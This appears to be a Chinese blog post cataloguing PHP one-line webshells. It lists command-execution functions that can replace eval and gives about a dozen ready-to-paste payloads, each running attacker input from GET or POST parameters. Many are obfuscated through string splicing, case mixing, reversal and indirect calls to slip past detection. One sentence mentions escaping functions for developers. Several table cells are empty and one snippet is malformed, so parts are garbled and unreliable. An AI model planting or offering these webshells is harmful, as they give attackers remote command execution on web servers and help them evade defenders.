一句話木馬替代
阿新 • • 發佈:2021-01-20
一句話木馬的關鍵便是命令的執行,同樣php中也有一些命令執行函式可以代替eval,舉例相應函式及使用:
assert()函式(ps:在PHP7.1版本以後,assert()預設不再可以執行程式碼) | |
---|---|
system()函式 | |
passthru()函式 | |
exec()函式 | |
shell_exec()函式 | |
使用反引號執行程式碼(ps:要確保shell_exec函式可用,否則無法用) | <?php echo $_POST['pass']`;?> |
也可使用popen()函式開啟程序執行命令,自行百度、嘗試,這裡不做舉例。
如果你是開發者,當你使用這些函式來執行系統命令時,可以使用escapeshellcmd()和escapeshellarg()函式阻止使用者惡意在系統上執行命令,escapeshellcmd()針對的是執行的系統命令,而escapeshellarg()針對的是執行系統命令的引數。
下面放一些比較常見的一句話木馬,我們也可以根據豐富的php函式自行創造和修改(未具體嘗試,如有出錯歡迎評論指出)注意assert()的版本問題(上表格有提及,需要時自行修改):
普通的一句話GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此) | |
---|---|
用php變量表示(ps:eval不能作為變數函式去執行) | <?php $a = "passthru";$a(@$_GET['pass']); ?> |
php變量表示變形1(ps:大小寫混淆) | <?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?> |
php變量表示變形2(ps:字串拼接) | <?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?> |
php變量表示變形3(ps:字串拼接、大小寫混淆、字串逆序) | <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?> |
PHP可變變數(ps:變數的變換) | <?php $b="assert";$a='b';$$a($_POST['pass']);?> `` |
使用create_function函式 | <?php $a=create_function('',$_POST['pass']);$a();?> `` |
自定義函式 | <?php function b($a){@eval($a);}@b($_POST['pass']);?> |
使用call_user_func()函式(ps:呼叫函式) | <?php @call_user_func(assert,$_POST['pass']);?> |
使用call_user_func_array()函式 | `<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>` |
base64_decode 函式 | |
preg_replace函式(ps:preg_replace 函式的第一個引數是一個正則表示式,後文會提到正則表示式。 如果在表示式末尾加上一個 e,則第二個引數就會被當做 php程式碼執行。) |
<?php function a(){return $_POST['pass'];}@preg_replace("/test/e", a(),"test1");?> |
array_map()函式(ps:array_map() 函式將使用者自定義函式作用到陣列中的每個值上,並返回使用者自定義函式作用後的帶有新的值的陣列。) | |
array_filter()函式 | |
pares_str函式(ps:結果$a=eval) | <?php $str="a=eval";parse_str($str);$a($_POST['pass']);?> |
str_replace函式(ps:結果$a=assert) | <?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?> |
uasort()函式、usort()函式 | |
動態函式 |